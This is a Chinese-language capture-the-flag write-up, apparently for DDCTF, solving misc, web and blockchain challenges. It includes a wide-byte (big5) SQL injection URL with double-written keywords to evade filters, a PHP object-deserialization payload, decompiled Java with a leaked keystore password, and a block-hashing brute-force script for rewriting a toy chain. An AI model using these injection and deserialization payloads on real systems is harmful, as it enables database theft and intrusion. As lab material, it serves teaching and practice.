Misc
签到题
公告
(╯°□°)╯︵ ┻━┻
将字符串base64解码后再凯撒移位即可获得flag.
第四扩展fs
binwalk 可从图片中获得一个压缩包,图片右击属性里面详细信息-备注可获得压缩包密码为Pactera,解压压缩包后获得一个文本文件,复制内容进行字频统计即可获得flag在线字词频率统计
流量分析
协议分级,看到有ftp协议、stmp协议,stmp协议中有一个base64后的图片,提取该图片并解码可以发现一串字符串,经题目提示可知为一个私钥文件,用ocr软件提取后并修改错误补全格式,wireshark中导入即可看到最后的部分解密出一个http封包,内容中可以获得flag。
安全通信
利用aes_ecb分组加密的特点,而且generate_hello中的message长度可控,所以可以按位爆破flag. poc:
1 | import socket |
WEB
数据库的秘密
盲注,里面的js加密算法懒得看所以直接用nodejs编写盲注脚本,导入网页中引入的math.js用于加密,脚本如下:
1 | var http=require('http'); |
专属链接
文件包含漏洞,而且通过报错界面可获得类名称,因此可以获得.class文件,这里贴一下获得的一些比较重要的源码:
InitListener.java
// Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.geocities.com/kpdus/jad.html
// Decompiler options: packimports(3)
// Source File Name: InitListener.java
package com.didichuxing.ctf.listener;
import com.didichuxing.ctf.model.Flag;
import com.didichuxing.ctf.service.FlagService;
import java.io.*;
import java.security.*;
import java.security.cert.CertificateException;
import java.util.Properties;
import java.util.UUID;
import javax.crypto.*;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletContext;
import org.apache.commons.io.FileUtils;
import org.springframework.beans.factory.InitializingBean;
import org.springframework.context.*;
import org.springframework.web.context.WebApplicationContext;
public class InitListener
implements ApplicationListener, InitializingBean
{
public InitListener()
{
properties = new Properties();
}
public void afterPropertiesSet()
throws Exception
{
System.out.println("afterPropertiesSet");
try
{
java.io.InputStream inputStream = getClass().getClassLoader().getResourceAsStream("/properties/conf.properties");
properties.load(inputStream);
}
catch(Exception e)
{
e.printStackTrace();
}
p = "sdl welcome you !".substring(0, "sdl welcome you !".length() - 1).trim().replace(" ", "");
}
public void onApplicationEvent(ApplicationEvent event)
{
if(!(event.getSource() instanceof ApplicationContext))
return;
WebApplicationContext ctx = (WebApplicationContext)event.getSource();
if(ctx.getParent() != null)
return;
String regenflag = properties.getProperty("regenflag");
if(regenflag != null && "false".equals(regenflag))
{
System.out.println("skip gen flag");
return;
}
try
{
flagService.deleteAll();
int id = 1;
String path = ctx.getServletContext().getRealPath("/WEB-INF/classes/emails.txt");
String ksPath = ctx.getServletContext().getRealPath("/WEB-INF/classes/sdl.ks");
System.out.println(path);
String emailsString = FileUtils.readFileToString(new File(path), "utf-8");
String emails[] = emailsString.trim().split("\n");
KeyStore keyStore = KeyStore.getInstance(KeyStore.getDefaultType());
FileInputStream inputStream = new FileInputStream(ksPath);
keyStore.load(inputStream, p.toCharArray());
Key key = keyStore.getKey("www.didichuxing.com", p.toCharArray());
Cipher cipher = Cipher.getInstance(key.getAlgorithm());
cipher.init(1, key);
SecretKeySpec signingKey = new SecretKeySpec("sdl welcome you !".getBytes(), "HmacSHA256");
Mac mac = Mac.getInstance("HmacSHA256");
mac.init(signingKey);
SecureRandom sr = new SecureRandom();
String as[] = emails;
int i = as.length;
for(int j = 0; j < i; j++)
{
String email = as[j];
String flag = (new StringBuilder()).append("DDCTF{").append(Math.abs(sr.nextLong())).append("}").toString();
String uuid = UUID.randomUUID().toString().replace("-", "s");
byte data[] = cipher.doFinal(flag.getBytes());
byte e[] = mac.doFinal(String.valueOf(email.trim()).getBytes());
Flag flago = new Flag();
flago.setId(Integer.valueOf(id));
flago.setFlag(byte2hex(data));
flago.setEmail(byte2hex(e));
flago.setOriginFlag(flag);
flago.setUuid(uuid);
flago.setOriginEmail(email);
flagService.save(flago);
System.out.println((new StringBuilder()).append(email).append("\u540C\u5B66\u7684\u5165\u53E3\u94FE\u63A5\u4E3A\uFF1Ahttp://116.85.48.102:5050/welcom/").append(uuid).toString());
id++;
System.out.println(flago);
}
}
catch(KeyStoreException e)
{
e.printStackTrace();
}
catch(IOException e)
{
e.printStackTrace();
}
catch(NoSuchAlgorithmException e)
{
e.printStackTrace();
}
catch(CertificateException e)
{
e.printStackTrace();
}
catch(UnrecoverableKeyException e)
{
e.printStackTrace();
}
catch(NoSuchPaddingException e)
{
e.printStackTrace();
}
catch(InvalidKeyException e)
{
e.printStackTrace();
}
catch(IllegalBlockSizeException e)
{
e.printStackTrace();
}
catch(BadPaddingException e)
{
e.printStackTrace();
}
}
public static String byte2hex(byte b[])
{
StringBuilder hs = new StringBuilder();
for(int n = 0; b != null && n < b.length; n++)
{
String stmp = Integer.toHexString(b[n] & 0xff);
if(stmp.length() == 1)
hs.append('0');
hs.append(stmp);
}
return hs.toString().toUpperCase();
}
final String k = "sdl welcome you !";
private FlagService flagService;
private Properties properties;
private String p;
}
FlagController.java
package com.didichuxing.ctf.controller.user;
import com.didichuxing.ctf.model.Flag;
import com.didichuxing.ctf.service.FlagService;
import java.io.PrintStream;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.ui.ModelMap;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
({"flag"})
public class FlagController
{
private FlagService flagService;
public FlagController() {}
(value={"/getflag/{email:[0-9a-zA-Z']+}"}, method={org.springframework.web.bind.annotation.RequestMethod.POST})
public String getFlag(@PathVariable("email") String email, ModelMap model)
{
Flag flag = flagService.getFlagByEmail(email);
return "Encrypted flag : " + flag.getFlag();
}
({"/testflag/{flag}"})
public String submitFlag(@PathVariable("flag") String flag, ModelMap model)
{
String[] fs = flag.split("[{}]");
Long longFlag = Long.valueOf(fs[1]);
int i = flagService.exist(flag);
if (i > 0) {
return "pass!!!";
}
return "failed!!!";
}
private void init()
{
System.out.println("test");
}
}
可以看到在数据库中保存了SHA256后的email和RSA加密后的flag,而FlagController提供了利用加密后的email获取加密后的flag的接口。猜测这里的email为主页上联系方式处的email:**8071103253958342134@didichuxing.com**。将email加密后获取到flag,使用以下java代码来解密:
package com.company;
import javax.crypto.Cipher;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.security.*;
import java.security.cert.Certificate;
public class Main {
public static void main(String[] args) {
// write your code here
try {
FileInputStream str = new FileInputStream(new File("/tmp/xxx.xx"));
String p = "sdl welcome you !".substring(0, "sdl welcome you !".length() - 1).trim().replace(" ", "");
KeyStore keystore=KeyStore.getInstance(KeyStore.getDefaultType());
FileInputStream input=new FileInputStream("/tmp/sdl.ks");
keystore.load(input,p.toCharArray());
Key key=keystore.getKey("www.didichuxing.com", p.toCharArray());
Certificate cert=keystore.getCertificate("www.didichuxing.com");
PublicKey publicKey=cert.getPublicKey();
Cipher cipher=Cipher.getInstance(key.getAlgorithm());
System.out.println(Cipher.DECRYPT_MODE);
System.out.println(Cipher.ENCRYPT_MODE);
cipher.init(Cipher.DECRYPT_MODE,publicKey);
byte m[]=str.readAllBytes();
System.out.println(m);
byte data[]=cipher.doFinal(m);
System.out.println(new String(data));
}
catch(Exception e){
e.printStackTrace();
}
}
}
其中 /tmp/sdl.ks是通过文件包含漏洞读取到的ketstore文件,包含公钥与私钥信息,/tmp/xxx.xx保存加密后的flag. 解密后获得flag.
注入的奥妙
首先是sql注入,页面提示后端数据库的编码是big5编码,因此从big5编码表中找到5c结尾的汉字即可绕过add_slashes;其中关键字过滤可以用双写来绕过,最终的获取route_rules表的内容的payload为:
http://116.85.48.105:5033/5d71b644-ee63-4b11-9c13-da3c4ac35b8d/well/getmessage/1%E5%85%9D'%20and%200%20uniounionn%20select%20pattern,action,rulepass%20%20from%20route_rules%23
中间暴库时需要转换编码 convert(xxx using big5)
获取到路由规则表的内容:
action | pattern | type | |
---|---|---|---|
get*/ | u/well/getmessage/ | s | |
get*/ | u/justtry/self/ | s | |
post*/ | u/justtry/try | JustTry#try | |
static/bootstrap/css/backup.css | static/bootstrap/css/backup.zip |
访问static/boostrap/css/backup.css,可获取网页的所有源码,可以看到justtry/try处为反序列化,可以利用这里的反序列化反序列化test类即可获取flag. 生成反序列化脚本的payload为:
namespace Index\Helper;
class Flag{
public $sql;
}
class Test{
public $user_uuid;
public $fl;
}
class SQL{
public $dbc;
public $pdo;
}
$fl=new Flag;
$fl->sql=new SQL;
$test=new Test;
$test->user_uuid="c38639ed-2d7f-41bd-a412-4c489de8102e";
$test->fl=$fl;
print_r(serialize($test));
mini-blockchain
解题思路:利用create_transaction在头区块后生成一条更长的链覆盖原来的链从而覆盖给黑客的交易记录,然后再利用backdoor给超市转10000,获得一个diamound;然后再将现在这条链覆盖,再利用backdoor给超市转10000,又可以获得一个flag. 添加新区块需要满足新区块的hash少于DIFFICULTY,这里使用所有数字组合来爆破。插入的区块中transaction数组为空,意味着不包含任何交易记录,这样既可避免获取私钥。 爆破新区块的脚本为:
def deal(head):
global session
print session
DIFFICULTY = int('00000' + 'f' * 59, 16)
print DIFFICULTY
i=0
while True:
transferred = create_tx([], [])
#print head
new_block = create_block(str(head), str(i), [])
#print new_block
if int(new_block['hash'],16)<DIFFICULTY:
print json.dumps(new_block)
i=i+1
#print new_block
#print "hash",int(new_block['hash'],16)
deal(sys.argv[1])
每次运行将想要插入的位置的hash作为参数,即可生成一个没有交易的空区块,当新生成的链长度大于原有链长度即可覆盖原有的链。